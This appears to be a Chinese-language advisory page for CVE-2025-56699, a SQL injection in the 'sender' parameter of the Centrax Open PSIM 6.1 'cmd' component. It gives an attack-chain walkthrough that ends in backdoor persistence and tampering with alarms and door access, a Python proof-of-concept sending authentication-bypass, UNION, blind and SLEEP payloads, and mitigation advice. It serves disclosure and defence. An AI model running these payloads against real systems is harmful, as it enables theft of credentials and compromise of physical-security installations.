IPBUF安全漏洞报告
English
CVE-2025-56699 CVSS 5.4 中危

CVE-2025-56699:Centrax Open PSIM 6.1 SQL注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-56699
漏洞类型
SQL注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Base Digitale Group spa Centrax Open PSIM

相关标签

SQL注入Centrax Open PSIMBase Digitale Group物理安全信息管理PSIM未认证访问CWE-89中危漏洞cmd组件sender参数

漏洞概述

CVE-2025-56699是存在于Base Digitale Group spa公司开发的Centrax Open PSIM(物理安全信息管理)平台6.1版本中的一个SQL注入漏洞。该漏洞位于产品的cmd组件中,攻击者可以通过精心构造的sender参数执行任意SQL命令。Centrax Open PSIM是一款综合性的物理安全管理解决方案,广泛应用于企业级的安全资产管理、视频监控、门禁控制等场景。由于该漏洞允许未认证用户执行任意SQL查询,攻击者可以在未经授权的情况下访问、修改或窃取数据库中的敏感信息,包括用户凭证、监控日志、权限配置等关键安全数据。CVSS评分为5.4分,属于中危级别。虽然该漏洞对可用性没有直接影响,但会对数据的机密性和完整性造成低级别的影响。攻击者利用该漏洞需要具备低权限(PR:L),但根据漏洞描述,未认证用户也可触发,这意味着实际利用门槛较低。该漏洞已于2025年10月16日被公开披露,研究人员MarioTesoro在GitHub上发布了相关的漏洞研究报告。鉴于物理安全信息管理系统通常存储高度敏感的安防数据,该漏洞的潜在影响不容忽视,建议相关用户及时采取修复措施。

技术细节

该SQL注入漏洞位于Centrax Open PSIM 6.1版本的cmd组件中,具体出现在处理sender参数的代码逻辑中。攻击者通过向cmd接口发送包含恶意SQL片段的sender参数,即可触发注入。由于该组件未对用户输入进行充分的参数化处理或输入验证,恶意构造的输入会被直接拼接到SQL查询语句中执行。

漏洞利用的核心在于:1)cmd组件接收sender参数时未进行严格的类型检查和SQL关键字过滤;2)后端数据库查询采用了字符串拼接而非预编译参数化查询(Prepared Statement);3)尽管CVSS向量标注PR:L(低权限要求),但根据漏洞描述,未认证用户也可直接利用,这意味着cmd接口存在未授权访问的问题。

攻击者可以通过UNION SELECT语句提取数据库中的敏感信息,使用布尔盲注或时间盲注技术逐字符提取数据,甚至通过堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等数据修改操作。典型的利用payload如:' OR '1'='1' -- 或 ' UNION SELECT username,password FROM users -- 等。由于该平台管理物理安全设备,泄露的数据可能包括摄像头凭据、门禁系统密码、报警配置等高价值信息。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络侦察识别目标Centrax Open PSIM 6.1的部署位置,确定cmd组件的访问端点和接口参数。
STEP 2
步骤2:漏洞探测
攻击者向cmd接口发送包含特殊字符(如单引号)的sender参数,观察系统响应,判断是否存在SQL注入漏洞。
STEP 3
步骤3:注入Payload构造
攻击者根据数据库类型(推测为MySQL或MSSQL)构造相应的SQL注入payload,如UNION SELECT、布尔盲注或时间盲注语句。
STEP 4
步骤4:数据提取
通过注入payload执行任意SQL命令,提取数据库中的用户凭证、监控数据、权限配置等敏感信息。
STEP 5
步骤5:权限提升与持久化
利用提取的管理员凭证登录系统,获取系统控制权,并植入后门实现持久化访问。
STEP 6
步骤6:物理安全系统操控
攻击者可篡改监控记录、禁用报警系统、操控门禁权限,对物理安全造成严重威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56699 - Centrax Open PSIM 6.1 SQL Injection PoC # Vulnerability: SQL Injection in cmd component via sender parameter # Author: Security Research based on CVE-2025-56699 import requests TARGET_URL = "https://target-centrax-server" CMD_ENDPOINT = "/cmd" def exploit_sqli(target_url, sender_payload): """ Exploit SQL injection in the sender parameter of cmd component """ params = { "sender": sender_payload } try: response = requests.get( f"{target_url}{CMD_ENDPOINT}", params=params, timeout=10, verify=False ) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def test_injection(): """Test basic SQL injection detection""" # Basic authentication bypass test payload_auth_bypass = "' OR '1'='1' --" print(f"[*] Testing authentication bypass with payload: {payload_auth_bypass}") response = exploit_sqli(TARGET_URL, payload_auth_bypass) if response and response.status_code == 200: print(f"[+] Potential SQL injection detected! Response length: {len(response.text)}") # UNION-based injection to extract database version payload_union = "' UNION SELECT @@version,2,3 --" print(f"[*] Testing UNION injection: {payload_union}") response = exploit_sqli(TARGET_URL, payload_union) if response and response.status_code == 200: print(f"[+] UNION injection may be successful") print(response.text[:500]) # Boolean-based blind injection test payload_blind = "' AND 1=1 --" payload_blind_false = "' AND 1=2 --" resp_true = exploit_sqli(TARGET_URL, payload_blind) resp_false = exploit_sqli(TARGET_URL, payload_blind_false) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Boolean-based blind SQL injection confirmed") # Time-based blind injection test payload_time = "' OR SLEEP(5) --" import time start = time.time() exploit_sqli(TARGET_URL, payload_time) elapsed = time.time() - start if elapsed >= 5: print("[+] Time-based blind SQL injection confirmed") if __name__ == "__main__": print("=" * 60) print("CVE-2025-56699 PoC - Centrax Open PSIM SQL Injection") print("=" * 60) test_injection()

影响范围

Base Digitale Group Centrax Open PSIM 6.1

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)或反向代理层面配置规则,拦截包含SQL关键字(如UNION、SELECT、INSERT、UPDATE、DELETE、SLEEP等)和特殊字符(如单引号、分号、注释符)的sender参数请求;2)通过网络访问控制列表(ACL)限制cmd组件接口的访问来源,仅允许可信IP地址访问;3)监控数据库日志,查找异常的SQL查询模式;4)暂时禁用cmd组件的相关功能,直至补丁发布;5)修改数据库账户密码,审查并撤销可疑的访问凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表